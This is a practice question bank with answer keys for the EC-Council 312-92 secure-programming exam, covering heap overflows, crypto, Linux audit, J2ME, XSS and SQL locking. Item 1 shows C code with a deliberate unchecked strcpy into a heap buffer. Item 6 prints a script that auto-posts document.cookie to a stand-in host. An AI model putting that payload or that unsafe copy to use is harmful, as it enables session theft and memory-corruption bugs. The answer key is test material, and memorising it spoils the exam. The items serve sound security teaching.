EC-COUNCIL 312-92 問題集

質問 1：
What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, "normal output");
strcpy(input, argv[1]);
printf("input at %p: %s\n", input, input);
printf("output at %p: %s\n", output, output);
printf("\n\n%s\n", output);
}
A. Query string manipulation
B. Stack buffer overflow
C. Pointer Subterfuge
D. Heap overflow
正解：D

質問 2：
What is the security and cryptographic framework used in Mac OS X called?
A. CDSA
B. AppleSecure
C. Secure API
D. CSAPI
正解：A

質問 3：
What encryption algorithm is used by PERL crypt() function?
A. DES
B. Skipjack
C. AES
D. 3DES
正解：A

質問 4：
What is the new lightweight audit framework that is built into Red Hat Linux Enterprise?
A. RedHat review
B. HelperReview
C. SOCK review
D. Audit2
正解：D

質問 5：
Harold is writing a J2ME program that run an inventory application on his company's PDAs.
Employees will use their PDA to scan barcodes into the program Harold is writing. Harold is very concerned about securing his program's code and ensuring its integrity once it is utilized. Harold particularly wants to stop the execution of class files loaded in the virtual machine in any way, what is not allowed by java virtual machine specification. What level of J2ME security should Harold implement to accomplish this?
A. End-to-end security
B. Low-level-security
C. High-end security
D. Application level security
正解：B

質問 6：
Gerald is a web security consultant for Protectors International. Gerald's main responsibility is to search the Internet for malicious and deceitful sites that the public should be aware of.
Gerald was tipped off about a particular site and is now looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What has Gerald stumbled upon?
<script>
document.write('<form name=hack method=post action="http://
scarysite.com/getit.php">
<input type=hidden name=sid value="' + escape(document.cookie) +
'">');
document.hack.submit();
</script>
A. Hidden form fields
B. XSS attack
C. JavaScript hijacking
D. Hidden post command
正解：A

質問 7：
Mathew is working on a Fedora machine and is having issues with some shellcode he wrote that is producing errors. Mathew decides to download and use Ktrace to debug the shellcode to see where the errors are originating from. Why will his plan not work?
A. Ktrace only works on *BSD platforms
B. Ktrace cannot debug shellcode
C. Ktrace only works on Windows platforms
D. Ktrace cannot debug errors, it only notifies of successful calls
正解：A

質問 8：
Processes having the "CAP_NET_BIND_SERVICE" can listen on which ports?
A. Any UDP port under 1024
B. Any UDP port over 1024
C. Any TCP port under 1024
D. Any TCP port over 1024
正解：C

質問 9：
Peter is writing a program that has a GUI front-end and uses a MS SQL database as a backend. Peter's application will repeatedly update and call upon specific tables in the database on a regular basis. Peter wants to make sure that his program always has the ability to update the database and that no other calls or updates can touch the database tables used at the same time. How could Peter accomplish this in his application?
A. SET TRANSACTION EXCLUSIVE
B. SET TRANSACTION WRITE
C. Implicit lock
D. Explicit lock
正解：D